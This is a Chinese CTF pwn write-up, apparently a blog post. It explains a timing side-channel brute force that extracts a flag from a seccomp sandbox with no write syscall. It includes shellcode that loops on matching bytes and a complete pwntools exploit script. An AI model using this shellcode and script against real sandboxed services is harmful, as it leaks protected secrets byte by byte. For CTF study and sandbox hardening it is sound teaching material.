测信道爆破攻击
ORW缺少w,开启白名单限制,无法通过sendfile,mmap,retfq等手段绕过沙箱
测信道爆破本质就是对flag进行逐字节爆破,进行比对从而逐字节爆破flag
核心部分
1 2 3 4 5
| mov rax,rsp mov bl, byte ptr [rax+{}] cmp bl, {} jz $-0x3
|
可以通过pwntools中recv(timeout=NUM)
来检查是否爆破成功,若字节对应,则会陷入死循环,让recv等待。若字节不对应,则可以利用沙箱的机制让其执行不可执行的函数引发错误导致程序退出从而recv无法等待NUM秒进而报错。
处理方法
完整的payload一般为
1 2 3 4 5 6 7 8 9
| payload=shellcraft.open("./flag")+shellcraft.read(3,'rsp',0x30) payload=asm(pay) shellcode = """ mov rax,rsp mov bl, byte ptr [rax+{}] cmp bl, {} jz $-0x3 """ pay=payload+asm(shellcode.format(index,list[i]))+asm(shellcraft.write(1,'rsp',0))
|
cmp会把bl与{}中内容比较,若内容相同cmp结果为0,ZF为被设置为1,jz往前跳转三个字节重复执行cmp陷入死循环。
其中list为需要爆破的字典,index为flag的字节索引
另外需要python的异常处理语句
1 2 3 4 5 6
| try: r.recv(timeout=2) except: else:
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import* from LibcSearcher import* from ctypes import* from struct import pack
context(arch='amd64',os='linux') libc=ELF('/home/mrbw/Desktop/pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6') libc=ELF('./libc.so.6') e=ELF('./1')
s = lambda content : r.send(content) sl = lambda content : r.sendline(content) sa = lambda content,send : r.sendafter(content, send) sla = lambda content,send : r.sendlineafter(content, send) rc = lambda number : r.recv(number) ru = lambda content : r.recvuntil(content)
flag="" pay=shellcraft.open("./flag")+shellcraft.read(3,'rsp',0x30) payload=asm(pay) index=0 shellcode = """ mov rax,rsp
mov bl, byte ptr [rax+{}] cmp bl, {} jz $-0x3
""" s = "fb_{}lagf0123456789" list = [ord(x) for x in s]
while 1: for i in range(len(list)): r=process("./1") pay=payload+asm(shellcode.format(index,list[i]))+asm(shellcraft.write(1,'rsp',0))
sl(pay) try: judge=r.recv(timeout=2) except: r.close() continue else: flag+=chr(list[i]) print(flag) index=index+1 r.close() continue
r.interactive()
|
s为爆破字节的字典,此处flag为我本地flag,连接远程服务器时可能需要扩大字典范围
可以开多个终端进行多线程爆破,只需在shellcode.format(index,list[i])
这一行的index改成index+n即可
另外,连接远程服务器有时可能因为延迟导致报错后连接不能及时的断开,导致recv以为程序没有结束运行,进而把不匹配的字符添加到flag中,因此连接远程服务器的时候需要recv(timeout=NUM)
中NUM尽可能设置大一点